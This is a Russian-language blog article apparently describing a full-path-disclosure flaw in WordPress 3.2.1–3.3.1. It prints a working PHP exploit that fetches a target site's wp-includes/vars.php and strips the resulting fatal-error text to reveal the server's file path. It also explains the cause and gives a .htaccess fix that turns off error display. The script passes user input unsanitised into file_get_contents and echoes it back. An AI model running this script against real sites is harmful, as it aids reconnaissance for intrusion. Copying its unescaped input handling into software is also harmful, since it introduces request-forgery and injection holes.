Главная » WordPress » Статьи Wordpress » Косячок разработчиков WordPress
Распечатать статью

Косячок разработчиков WordPress

Итак, приведенный ниже код позволяет вытянуть путь к папке, где располагается блог на сервере хостера. Экспойт, как минимум, актуален для WordPress 3.2.1-3.3.1. Возможно для более ранних версий CMS трюк тоже сработает, — не проверял. Различием будет лишь номер строчки откуда вылетит «птичка».

<form method="get" action="#" >
  <input type="text" name="url" />
  <input type="submit" value="Проверить URL" />
</form>
<?php
  $u = @$_GET['url']; //целевой сайт
  $s = $u.'/wp-includes/vars.php';
  $e = @file_get_contents($s);
  if($e and (!empty($e))) {
    $a = array("<br />\n<b>Fatal error</b>:  Call to undefined function is_admin() in ",
               " on line <b>20</b><br />","/wp-includes/vars.php",
               "<br />\n<b>Fatal error</b>:  Call to undefined function  is_admin() in ",
               "Fatal error: Call to undefined function is_admin() in ",
               " on line 20");
    for($i=0; $i < count($a); ++$i)
     $e = implode("", explode($a[$i],$e));
    echo '<div>Полный путь сайта <strong>'.$u.'</strong>:<br />'.$e.'</div>';
  }
  else
   echo 'Вы ещё ничего не ввели, либо данная мини-"дырка" успешно закрыта.';
?>

Принцип действия несложен: обращаемся к практически любому файлу в системной директории движка «wp-includes». Т.е. необязательно лезть именно к «vars.php», сгодится и «admin-bar.php», к примеру. Ошибки там при таком нестандартном поведении по всей видимости просто не обрабатываются. Потому спокойно получаем из сгенерированного error интересующую информацию вот и всё.

Чем можно закрыть? Дешево&сердито прописываем в «.htaccess» корневой папки системы нехитрое отключение вывода исключений (один из вариантов):

php_flag display_errors off

Напоследок, пробуем пример, эксплуатируем. Автор сей идеи: человек под ником «Osstudio».

Источник:  sooource.net

Вы можете оставить комментарий, или обратную ссылку на Ваш сайт.

Оставить комментарий

Похожие статьи